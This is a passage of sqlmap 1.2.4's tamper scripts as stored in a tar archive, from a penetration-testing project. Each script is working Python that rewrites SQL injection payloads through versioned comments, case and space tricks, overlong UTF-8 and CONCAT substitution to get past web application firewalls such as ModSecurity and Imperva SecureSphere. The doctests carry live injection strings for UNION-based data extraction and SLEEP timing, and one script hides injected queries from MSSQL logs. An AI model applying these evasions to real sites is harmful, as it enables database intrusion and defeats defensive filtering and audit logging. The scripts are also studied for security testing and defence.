AND A > B') '1 AND GREATEST(A,B+1)=A' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: _ = "%sGREATEST(%s,%s+1)=%s" % (match.group(1), match.group(3), match.group(4), match.group(3)) retVal = retVal.replace(match.group(0), _) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/halfversionedmorekeywords.py����������������������������������������������������0000664�0000000�0000000�00000003521�13260122637�0022164�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.data import kb from lib.core.enums import DBMS from lib.core.enums import PRIORITY from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Adds versioned MySQL comment before each keyword Requirement: * MySQL < 5.1 Tested against: * MySQL 4.0.18, 5.0.22 Notes: * Useful to bypass several web application firewalls when the back-end database management system is MySQL * Used during the ModSecurity SQL injection challenge, http://modsecurity.org/demo/challenge.html >>> tamper("value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa") "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa" """ def process(match): word = match.group('word') if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS: return match.group().replace(word, "/*!0%s" % word) else: return match.group() retVal = payload if payload: retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal) retVal = retVal.replace(" /*!0", "/*!0") return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/htmlencode.py�������������������������������������������������������������������0000664�0000000�0000000�00000001051�13260122637�0016776�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ HTML encode (using code points) all non-alphanumeric characters >>> tamper("1' AND SLEEP(5)#") '1' AND SLEEP(5)#' """ return re.sub(r"[^\w]", lambda match: "&#%d;" % ord(match.group(0)), payload) if payload else payload ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/ifnull2casewhenisnull.py��������������������������������������������������������0000664�0000000�0000000�00000003240�13260122637�0021176�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'doc/COPYING' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'CASE WHEN ISNULL(A) THEN (B) ELSE (A) END' Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() functions >>> tamper('IFNULL(1, 2)') 'CASE WHEN ISNULL(1) THEN (2) ELSE (1) END' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "CASE WHEN ISNULL(%s) THEN (%s) ELSE (%s) END" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/ifnull2ifisnull.py��������������������������������������������������������������0000664�0000000�0000000�00000003125�13260122637�0020001�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces instances like 'IFNULL(A, B)' with 'IF(ISNULL(A), B, A)' Requirement: * MySQL * SQLite (possibly) * SAP MaxDB (possibly) Tested against: * MySQL 5.0 and 5.5 Notes: * Useful to bypass very weak and bespoke web application firewalls that filter the IFNULL() function >>> tamper('IFNULL(1, 2)') 'IF(ISNULL(1),2,1)' """ if payload and payload.find("IFNULL") > -1: while payload.find("IFNULL(") > -1: index = payload.find("IFNULL(") depth = 1 comma, end = None, None for i in xrange(index + len("IFNULL("), len(payload)): if depth == 1 and payload[i] == ',': comma = i elif depth == 1 and payload[i] == ')': end = i break elif payload[i] == '(': depth += 1 elif payload[i] == ')': depth -= 1 if comma and end: _ = payload[index + len("IFNULL("):comma] __ = payload[comma + 1:end].lstrip() newVal = "IF(ISNULL(%s),%s,%s)" % (_, __, _) payload = payload[:index] + newVal + payload[end + 1:] else: break return payload �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/informationschemacomment.py�����������������������������������������������������0000664�0000000�0000000�00000001164�13260122637�0021752�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Add a comment to the end of all occurrences of (blacklisted) "information_schema" identifier >>> tamper('SELECT table_name FROM INFORMATION_SCHEMA.TABLES') 'SELECT table_name FROM INFORMATION_SCHEMA/**/.TABLES' """ retVal = payload if payload: retVal = re.sub(r"(?i)(information_schema)\.", "\g<1>/**/.", payload) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/least.py������������������������������������������������������������������������0000664�0000000�0000000�00000002146�13260122637�0015772�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): pass def tamper(payload, **kwargs): """ Replaces greater than operator ('>') with 'LEAST' counterpart Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls that filter the greater than character * The LEAST clause is a widespread SQL command. Hence, this tamper script should work against majority of databases >>> tamper('1 AND A > B') '1 AND LEAST(A,B+1)=B+1' """ retVal = payload if payload: match = re.search(r"(?i)(\b(AND|OR)\b\s+)([^>]+?)\s*>\s*(\w+|'[^']+')", payload) if match: _ = "%sLEAST(%s,%s+1)=%s+1" % (match.group(1), match.group(3), match.group(4), match.group(4)) retVal = retVal.replace(match.group(0), _) return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/lowercase.py��������������������������������������������������������������������0000664�0000000�0000000�00000001721�13260122637�0016644�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with lower case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions >>> tamper('INSERT') 'insert' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() if word.upper() in kb.keywords: retVal = retVal.replace(word, word.lower()) return retVal �����������������������������������������������sqlmap-1.2.4/tamper/modsecurityversioned.py���������������������������������������������������������0000664�0000000�0000000�00000002407�13260122637�0021150�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import randomInt from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Embraces complete query with versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS >>> import random >>> random.seed(0) >>> tamper('1 AND 2>1--') '1 /*!30874AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!30%s%s*/%s" % (payload[:payload.find(' ')], randomInt(3), payload[payload.find(' ') + 1:], postfix) return retVal ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/modsecurityzeroversioned.py�����������������������������������������������������0000664�0000000�0000000�00000002254�13260122637�0022050�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os from lib.core.common import singleTimeWarnMessage from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHER def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL)) def tamper(payload, **kwargs): """ Embraces complete query with zero-versioned comment Requirement: * MySQL Tested against: * MySQL 5.0 Notes: * Useful to bypass ModSecurity WAF/IDS >>> tamper('1 AND 2>1--') '1 /*!00000AND 2>1*/--' """ retVal = payload if payload: postfix = '' for comment in ('#', '--', '/*'): if comment in payload: postfix = payload[payload.find(comment):] payload = payload[:payload.find(comment)] break if ' ' in payload: retVal = "%s /*!00000%s*/%s" % (payload[:payload.find(' ')], payload[payload.find(' ') + 1:], postfix) return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/multiplespaces.py���������������������������������������������������������������0000664�0000000�0000000�00000002354�13260122637�0017715�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import random import re from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Adds multiple spaces around SQL keywords Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions Reference: https://www.owasp.org/images/7/74/Advanced_SQL_Injection.ppt >>> random.seed(0) >>> tamper('1 UNION SELECT foobar') '1 UNION SELECT foobar' """ retVal = payload if payload: words = set() for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if word.upper() in kb.keywords: words.add(word) for word in words: retVal = re.sub("(?<=\W)%s(?=[^A-Za-z_(]|\Z)" % word, "%s%s%s" % (' ' * random.randrange(1, 4), word, ' ' * random.randrange(1, 4)), retVal) retVal = re.sub("(?<=\W)%s(?=[(])" % word, "%s%s" % (' ' * random.randrange(1, 4), word), retVal) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/nonrecursivereplacement.py������������������������������������������������������0000664�0000000�0000000�00000002156�13260122637�0021625�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import random import re from lib.core.common import singleTimeWarnMessage from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def tamper(payload, **kwargs): """ Replaces predefined SQL keywords with representations suitable for replacement (e.g. .replace("SELECT", "")) filters Notes: * Useful to bypass very weak custom filters >>> random.seed(0) >>> tamper('1 UNION SELECT 2--') '1 UNIOUNIONN SELESELECTCT 2--' """ keywords = ("UNION", "SELECT", "INSERT", "UPDATE", "FROM", "WHERE") retVal = payload warnMsg = "currently only couple of keywords are being processed %s. " % str(keywords) warnMsg += "You can set it manually according to your needs" singleTimeWarnMessage(warnMsg) if payload: for keyword in keywords: _ = random.randint(1, len(keyword) - 1) retVal = re.sub(r"(?i)\b%s\b" % keyword, "%s%s%s" % (keyword[:_], keyword, keyword[_:]), retVal) return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/overlongutf8.py�����������������������������������������������������������������0000664�0000000�0000000�00000002572�13260122637�0017327�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Converts all (non-alphanum) characters in a given payload (not processing already encoded) Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ Reference: https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') 'SELECT%C0%A0FIELD%C0%A0FROM%C0%A0TABLE%C0%A0WHERE%C0%A02%C0%BE1' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: if payload[i] not in (string.ascii_letters + string.digits): retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) else: retVal += payload[i] i += 1 return retVal ��������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/overlongutf8more.py�������������������������������������������������������������0000664�0000000�0000000�00000002542�13260122637�0020207�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import string from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOWEST def dependencies(): pass def tamper(payload, **kwargs): """ Converts all characters in a given payload (not processing already encoded) Reference: https://www.acunetix.com/vulnerabilities/unicode-transformation-issues/ Reference: https://www.thecodingforums.com/threads/newbie-question-about-character-encoding-what-does-0xc0-0x8a-have-in-common-with-0xe0-0x80-0x8a.170201/ >>> tamper('SELECT FIELD FROM TABLE WHERE 2>1') '%C1%93%C1%85%C1%8C%C1%85%C1%83%C1%94%C0%A0%C1%86%C1%89%C1%85%C1%8C%C1%84%C0%A0%C1%86%C1%92%C1%8F%C1%8D%C0%A0%C1%94%C1%81%C1%82%C1%8C%C1%85%C0%A0%C1%97%C1%88%C1%85%C1%92%C1%85%C0%A0%C0%B2%C0%BE%C0%B1' """ retVal = payload if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 else: retVal += "%%%.2X%%%.2X" % (0xc0 + (ord(payload[i]) >> 6), 0x80 + (ord(payload[i]) & 0x3f)) i += 1 return retVal ��������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/percentage.py�������������������������������������������������������������������0000664�0000000�0000000�00000002546�13260122637�0017003�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import string from lib.core.enums import PRIORITY from lib.core.common import singleTimeWarnMessage __priority__ = PRIORITY.LOW def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against ASP web applications" % os.path.basename(__file__).split(".")[0]) def tamper(payload, **kwargs): """ Adds a percentage sign ('%') infront of each character Requirement: * ASP Tested against: * Microsoft SQL Server 2000, 2005 * MySQL 5.1.56, 5.5.11 * PostgreSQL 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT FIELD FROM TABLE') '%S%E%L%E%C%T %F%I%E%L%D %F%R%O%M %T%A%B%L%E' """ if payload: retVal = "" i = 0 while i < len(payload): if payload[i] == '%' and (i < len(payload) - 2) and payload[i + 1:i + 2] in string.hexdigits and payload[i + 2:i + 3] in string.hexdigits: retVal += payload[i:i + 3] i += 3 elif payload[i] != ' ': retVal += '%%%s' % payload[i] i += 1 else: retVal += payload[i] i += 1 return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/plus2concat.py������������������������������������������������������������������0000664�0000000�0000000�00000005002�13260122637�0017111�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces plus ('+') character with function CONCAT() Tested against: * Microsoft SQL Server 2012 Requirements: * Microsoft SQL Server 2012+ Notes: * Useful in case ('+') character is filtered >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') 'SELECT CONCAT(CHAR(113),CHAR(114),CHAR(115)) FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 chars = [char for char in retVal] for index in indexes[first:last + 1]: chars[index] = ',' retVal = "%sCONCAT(%s)%s" % (retVal[:start], ''.join(chars)[start:end], retVal[end:]) else: match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) if not indexes: break chars = [char for char in part] for i in xrange(1, len(chars)): if i - 1 in indexes: chars[i] = ',' replacement = "CONCAT%s" % "".join(chars) retVal = retVal.replace(part, replacement) else: break return retVal ������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/plus2fnconcat.py����������������������������������������������������������������0000664�0000000�0000000�00000006101�13260122637�0017436�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import os import re from lib.core.common import singleTimeWarnMessage from lib.core.common import zeroDepthSearch from lib.core.enums import DBMS from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGHEST def dependencies(): singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s" % (os.path.basename(__file__).split(".")[0], DBMS.MSSQL)) def tamper(payload, **kwargs): """ Replaces plus ('+') character with ODBC function {fn CONCAT()} Tested against: * Microsoft SQL Server 2008 Requirements: * Microsoft SQL Server 2008+ Notes: * Useful in case ('+') character is filtered * https://msdn.microsoft.com/en-us/library/bb630290.aspx >>> tamper('SELECT CHAR(113)+CHAR(114)+CHAR(115) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' >>> tamper('SELECT (CHAR(113)+CHAR(114)+CHAR(115)) FROM DUAL') 'SELECT {fn CONCAT({fn CONCAT(CHAR(113),CHAR(114))},CHAR(115))} FROM DUAL' """ retVal = payload if payload: while True: indexes = zeroDepthSearch(retVal, '+') if indexes: first, last = 0, 0 for i in xrange(1, len(indexes)): if ' ' in retVal[indexes[0]:indexes[i]]: break else: last = i start = retVal[:indexes[first]].rfind(' ') + 1 end = (retVal[indexes[last] + 1:].find(' ') + indexes[last] + 1) if ' ' in retVal[indexes[last] + 1:] else len(retVal) - 1 count = 0 chars = [char for char in retVal] for index in indexes[first:last + 1]: if count == 0: chars[index] = ',' else: chars[index] = '\x01' count += 1 retVal = "%s%s%s)}%s" % (retVal[:start], "{fn CONCAT(" * count, ''.join(chars)[start:end].replace('\x01', ")},"), retVal[end:]) else: match = re.search(r"\((CHAR\(\d+.+\bCHAR\(\d+\))\)", retVal) if match: part = match.group(0) indexes = set(zeroDepthSearch(match.group(1), '+')) if not indexes: break count = 0 chars = [char for char in part] for i in xrange(1, len(chars)): if i - 1 in indexes: if count == 0: chars[i] = ',' else: chars[i] = '\x01' count += 1 replacement = "%s%s}" % (("{fn CONCAT(" * count)[:-1], "".join(chars).replace('\x01', ")},")) retVal = retVal.replace(part, replacement) else: break return retVal ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/randomcase.py�������������������������������������������������������������������0000664�0000000�0000000�00000002605�13260122637�0016776�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Replaces each keyword character with random case value Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass very weak and bespoke web application firewalls that has poorly written permissive regular expressions * This tamper script should work against all (?) databases >>> import random >>> random.seed(0) >>> tamper('INSERT') 'INseRt' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", retVal): word = match.group() if word.upper() in kb.keywords: while True: _ = "" for i in xrange(len(word)): _ += word[i].upper() if randomRange(0, 1) else word[i].lower() if len(_) > 1 and _ not in (_.lower(), _.upper()): break retVal = retVal.replace(word, _) return retVal ���������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/randomcomments.py���������������������������������������������������������������0000664�0000000�0000000�00000002136�13260122637�0017707�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ import re from lib.core.common import randomRange from lib.core.data import kb from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def tamper(payload, **kwargs): """ Add random comments to SQL keywords >>> import random >>> random.seed(0) >>> tamper('INSERT') 'I/**/N/**/SERT' """ retVal = payload if payload: for match in re.finditer(r"\b[A-Za-z_]+\b", payload): word = match.group() if len(word) < 2: continue if word.upper() in kb.keywords: _ = word[0] for i in xrange(1, len(word) - 1): _ += "%s%s" % ("/**/" if randomRange(0, 1) else "", word[i]) _ += word[-1] if "/**/" not in _: index = randomRange(1, len(word) - 1) _ = word[:index] + "/**/" + word[index:] retVal = retVal.replace(word, _) return retVal ����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/securesphere.py�����������������������������������������������������������������0000664�0000000�0000000�00000001131�13260122637�0017350�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.NORMAL def dependencies(): pass def tamper(payload, **kwargs): """ Appends special crafted string Notes: * Useful for bypassing Imperva SecureSphere WAF * Reference: http://seclists.org/fulldisclosure/2011/May/163 >>> tamper('1 AND 1=1') "1 AND 1=1 and '0having'='0having'" """ return payload + " and '0having'='0having'" if payload else payload ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/sp_password.py������������������������������������������������������������������0000664�0000000�0000000�00000001447�13260122637�0017231�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.HIGH def tamper(payload, **kwargs): """ Appends 'sp_password' to the end of the payload for automatic obfuscation from DBMS logs Requirement: * MSSQL Notes: * Appending sp_password to the end of the query will hide it from T-SQL logs as a security measure * Reference: http://websec.ca/kb/sql_injection >>> tamper('1 AND 9227=9227-- ') '1 AND 9227=9227-- sp_password' """ retVal = "" if payload: retVal = "%s%ssp_password" % (payload, "-- " if not any(_ if _ in payload else None for _ in ('#', "-- ")) else "") return retVal �������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������sqlmap-1.2.4/tamper/space2comment.py����������������������������������������������������������������0000664�0000000�0000000�00000002443�13260122637�0017422�0����������������������������������������������������������������������������������������������������ustar�00root����������������������������root����������������������������0000000�0000000������������������������������������������������������������������������������������������������������������������������������������������������������������������������#!/usr/bin/env python """ Copyright (c) 2006-2018 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ from lib.core.enums import PRIORITY __priority__ = PRIORITY.LOW def dependencies(): pass def tamper(payload, **kwargs): """ Replaces space character (' ') with comments '/**/' Tested against: * Microsoft SQL Server 2005 * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0 Notes: * Useful to bypass weak and bespoke web application firewalls >>> tamper('SELECT id FROM users') 'SELECT/**/id/**/FROM/**/users' """ retVal = payload if payload: retVal = "" quote, doublequote, firstspace = False, False, False for i in xrange(len(payload)): if not firstspace: if payload[i].isspace(): firstspace = True retVal += "/**/" continue elif payload[i] == '\'': quote = not quote elif payload[i] == '"': doublequote = not doublequote elif payload[i] == " " and not doublequote and not quote: retVal += "/**/" continue retVal += payload[i] return retVal 